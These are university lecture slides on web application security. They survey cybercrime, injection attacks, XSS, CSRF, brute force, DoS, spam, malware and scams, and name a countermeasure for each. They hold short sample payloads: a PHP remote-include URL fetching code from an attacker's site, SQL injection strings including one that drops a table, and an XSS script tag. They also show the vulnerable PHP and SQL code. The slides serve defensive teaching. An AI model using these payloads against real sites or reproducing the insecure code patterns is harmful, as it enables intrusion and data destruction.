VŠB TECHNICKÁ UNIVERZITA OSTRAVA | FAKULTA ELEKTROTECHNIKY A INFORMATIKY

Web Application Development

Bezpečnost

Ing. Michal Radecký, Ph.D.
www.cs.vsb.cz/radecky

https://www.ted.com/talks/mikko_hypponen_fighting_viruses_defending_the_net

https://www.ted.com/talks/james_lyne_everyday_cybercrime_and_what_you_can_do_about_it

What is the Cyber Crime

Criminal offenses committed with the help of information and communication technologies

Formal specification (by EU)

- Offenses against the **confidentiality, integrity and availability of computer data and systems** (unauthorized access, data interference, system interference, device abuse).
- Computer **related offenses** (computer fraud).
- Criminal offenses related to **computer content**.
- Criminal offenses related to **copyright and related rights**.

What is the Cyber Crime

Distribution by purpose

- Violation of privacy
- Activities against the personality
- Influence of communication and infrastructure
- Spreading of harmful content
- Direct economic impacts
- Copyright infringement Etc.

Statistics

https://www.nortonlifelock.com/us/en/newsroom/press-kits/

PHP Injection

- Usage of input (URL) for modification of functionality by „inserting and processing“ of strange source code
  - Listing of source code
  - Working with files on server side
  - Usage of session identification
- Abuse of functions include and require

```
http://web/index.php?page=http://utocnikuvweb/phpkod.txt
```

```
<? $page = $_GET['page'];include $page; ?>
```

- Filtering of inputs (addslashes, htmlspecialchars)

SQL Injection

- Usage of input for modification of SQL query
  - Obtaining data from database
  - Modification or deleting of data
  - Obtaining acces to application or other resources
- Abuse of special characters within the unsecured input

```
http://web/vieworder.php?auto=nissan
```

```
$sql = "select * from orders where name='$auto'";
```

- útok:
  - namísto nissan → `nissan' or 2>1 --`
    `select * from orders where name='nissan' or 2>1 -'`
  - popřípadě nissan -> `nissan'; drop table orders --`

- Filtration of inputs, input data checking, user access rights, logging

XSS – Cross Site Scripting

- Abuse of scripting language on slicent side – within the browser
  - Running of strange code within web page
  - Acces to data from host webpage (DOM), modification of webpage
  - Data theft (cookies, session)
  - Keylogger, etc.

```
http://URL/stranka.php?heading=abcd<script>alert('This is success with XSS.');</script>
```

- Temporary
  - Infected URL contains attack code – particular user
- Persistent
  - Attack code is included within content of webpages – all visitors
- Elimination of scripting, filtering of inputs

CSRF – Cross Site Request Forgery

- Hidden calling of requests (HTTP) for a particular functionality across webpages (tabs)
  - Obtaining access and performing of standard functionality without users approvement or knowledge
- The knowledge of attacked app environment is crucial. The authorized access of attacked user is common scenario (user is logged in)
- Embarrassment of URL (image, iframe) that performs a specified functions in system (combination with XSS)
- Secure tokens on server side, variable URL, user behavior - prudence

Brute-force – dictionary attacks

- Receiving of information (functionality) by repeating/testing of inputs
  - System access information (login/password)
  - Obtaining data
- Very time consuming depending on severity of the attack environment and the sophisticated type of attack
- Restrictions on the number / time for repeating requests, the complexity of the detected data (password strength)

DoS, DDoS (Denial of Service)

- An attack that uses a technical overload of a server to shut down a given service / site
  - Using TCP protocol (SYN flood) - incomplete request to establish communication under handshake
  - Using PING
  - Etc.
- Balancing resources for applications / server-side modules - only part of the system is under attack
- Packet filters (SW and HW)

SPAM

- Rather, it is a tool for attacks - a means to spread other forms of attacks
- Use of email communication to a large number of target addresses - spamming, harassing, attracting to a dangerous site
- It may not just be emails, but also discussion forums, social networks, etc.
- Filters at different levels (Black List, White List, Gray List)
- Prevention of automated content insertion (CAPTCHA), elimination of recipient mining

Malware

Malware refers to any software designed to damage a computer or affect its function. Malware can steal sensitive data from a computer, gradually slow down the computer, or even send fraudulent emails from a user's email account without the user's knowledge.

- Virus: A malicious computer program that can copy itself and infect a computer.
- Worm: A malicious computer program that sends copies of itself to other computers over a network.
- Spyware: Malware that collects information about users without their knowledge.
- Adware: Software that automatically plays, displays or downloads advertisements on your computer.
- Trojan Horse: A malicious program that pretends to be a useful application but, once installed, damages the computer or steals information from it.

Botnet - A network of compromised computers that can carry out a controlled distributed attack, data collection, etc.

Scam

Fraud or deception to obtain money, personal information or other things of value from a victim. Scams can take various forms and be carried out through different communication channels (phone calls, emails, websites, social networks).

Tools for obtaining sensitive and personal data for further use

- Social data trafficking
- Access to services (authentication and authorisation) Email phishing: Attackers pose as a trusted person or organisation and try to obtain sensitive information such as passwords or bank details.

Telephone fraud (vishing): Fraudsters call the victim and try to convince them to provide personal or financial information.

Online fraud (e.g., fake online stores): Creating a fake website that looks like a legitimate business in order to obtain payments for non-existent products or services.

Investment and financial fraud: Promising people high profits or large returns on investment, but in reality it is a fraudulent scheme.

Romance scam: Scammers create fake relationships with people online and then ask for money or personal information.